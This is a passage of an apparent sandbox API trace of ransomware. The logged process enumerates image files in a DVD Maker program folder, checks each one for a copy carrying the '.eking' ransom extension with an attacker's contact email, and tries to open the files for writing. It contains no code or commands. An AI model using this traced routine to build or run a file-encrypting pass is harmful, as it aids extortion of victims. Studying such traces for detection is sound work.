maker\\shared\\dvdstyles\\push\\push_title.png")) returned 0x20 [0182.745] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_title.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push_title.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0182.745] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_title.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push_title.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.745] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\1047x576black.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.748] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=4570) returned 1 [0182.748] CloseHandle (hObject=0x1e0) returned 1 [0182.749] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\1047x576black.png")) returned 0x20 [0182.749] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\1047x576black.png")) returned 0x20 [0182.749] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576black.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\1047x576black.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0182.749] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.749] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576_91n92.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\1047x576_91n92.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.750] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=6440) returned 1 [0182.750] CloseHandle (hObject=0x1e0) returned 1 [0182.750] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576_91n92.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\1047x576_91n92.png")) returned 0x20 [0182.750] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576_91n92.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\1047x576_91n92.png")) returned 0x20 [0182.750] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576_91n92.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\1047x576_91n92.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0182.750] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576_91n92.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\1047x576_91n92.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.751] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\15x15dot.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.751] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=2821) returned 1 [0182.751] CloseHandle (hObject=0x1e0) returned 1 [0182.751] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\15x15dot.png")) returned 0x20 [0182.751] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\15x15dot.png")) returned 0x20 [0182.751] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\15x15dot.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\15x15dot.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0182.752] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\15x15dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.752] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\720x480icongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\720x480icongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.752] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=5620) returned 1 [0182.752] CloseHandle (hObject=0x1e0) returned 1 [0182.753] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\720x480icongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\720x480icongraphic.png")) returned 0x20 [0182.753] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\720x480icongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\720x480icongraphic.png")) returned 0x20 [0182.753] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\720x480icongraphic.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\720x480icongraphic.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0182.753] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\720x480icongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\720x480icongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.753] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationleft_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.754] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=5088) returned 1 [0182.755] CloseHandle (hObject=0x1e0) returned 1 [0182.755] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationleft_buttongraphic.png")) returned 0x20 [0182.755] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationleft_buttongraphic.png")) returned 0x20 [0182.755] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_ButtonGraphic.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationleft_buttongraphic.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0182.755] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.755] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.015] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=3130) returned 1 [0183.016] CloseHandle (hObject=0x1e0) returned 1 [0183.016] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationleft_selectionsubpicture.png")) returned 0x20 [0183.016] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationleft_selectionsubpicture.png")) returned 0x20 [0183.016] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_SelectionSubpicture.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationleft_selectionsubpicture.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.016] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.016] SetEvent (hEvent=0x174) returned 1 [0183.017] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\vistabg.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\vistabg.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.017] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=195804) returned 1 [0183.018] CloseHandle (hObject=0x1e0) returned 1 [0183.018] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\vistabg.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\vistabg.png")) returned 0x20 [0183.018] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\vistabg.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\vistabg.png")) returned 0x20 [0183.018] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\vistabg.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\vistabg.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.018] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\vistabg.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\vistabg.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.018] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_babypink_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_babypink_thumbnail.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.020] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=5072) returned 1 [0183.020] CloseHandle (hObject=0x1e0) returned 1 [0183.020] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_babypink_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_babypink_thumbnail.bmp")) returned 0x20 [0183.020] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_babypink_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_babypink_thumbnail.bmp")) returned 0x20 [0183.020] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_babypink_Thumbnail.bmp.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_babypink_thumbnail.bmp.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.020] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_babypink_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_babypink_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.020] SetEvent (hEvent=0x174) returned 1 [0183.020] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_glass_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_glass_thumbnail.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.021] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=5072) returned 1 [0183.021] CloseHandle (hObject=0x1e0) returned 1 [0183.022] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_glass_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_glass_thumbnail.bmp")) returned 0x20 [0183.022] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_glass_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_glass_thumbnail.bmp")) returned 0x20 [0183.022] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_glass_Thumbnail.bmp.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_glass_thumbnail.bmp.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.022] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_glass_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_glass_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.023] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_highlights_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_highlights_thumbnail.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.023] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=5072) returned 1 [0183.023] CloseHandle (hObject=0x1e0) returned 1 [0183.024] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_highlights_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_highlights_thumbnail.bmp")) returned 0x20 [0183.024] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_highlights_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_highlights_thumbnail.bmp")) returned 0x20 [0183.024] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_highlights_Thumbnail.bmp.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_highlights_thumbnail.bmp.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.024] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_highlights_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_highlights_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.024] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_performance_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_performance_thumbnail.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.025] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=5072) returned 1 [0183.025] CloseHandle (hObject=0x1e0) returned 1 [0183.025] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_performance_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_performance_thumbnail.bmp")) returned 0x20 [0183.025] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_performance_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_performance_thumbnail.bmp")) returned 0x20 [0183.025] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_performance_Thumbnail.bmp.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_performance_thumbnail.bmp.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.026] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_performance_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_performance_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.026] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_photo_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_photo_thumbnail.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.029] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=5072) returned 1 [0183.029] CloseHandle (hObject=0x1e0) returned 1 [0183.029] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_photo_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_photo_thumbnail.bmp")) returned 0x20 [0183.029] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_photo_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_photo_thumbnail.bmp")) returned 0x20 [0183.029] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_photo_Thumbnail.bmp.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_photo_thumbnail.bmp.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.029] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_photo_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_photo_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.029] SetEvent (hEvent=0x174) returned 1 [0183.030] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_plain_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_plain_thumbnail.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.030] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=5072) returned 1 [0183.030] CloseHandle (hObject=0x1e0) returned 1 [0183.030] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_plain_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_plain_thumbnail.bmp")) returned 0x20 [0183.030] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_plain_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_plain_thumbnail.bmp")) returned 0x20 [0183.030] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_plain_Thumbnail.bmp.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_plain_thumbnail.bmp.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.030] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_plain_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_plain_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.031] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_postage_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_postage_thumbnail.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.031] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=5072) returned 1 [0183.031] CloseHandle (hObject=0x1e0) returned 1 [0183.031] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_postage_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_postage_thumbnail.bmp")) returned 0x20 [0183.031] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_postage_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_postage_thumbnail.bmp")) returned 0x20 [0183.032] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_postage_Thumbnail.bmp.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_postage_thumbnail.bmp.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.032] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_postage_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_postage_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.032] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_scrapbook_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_scrapbook_thumbnail.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.034] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: 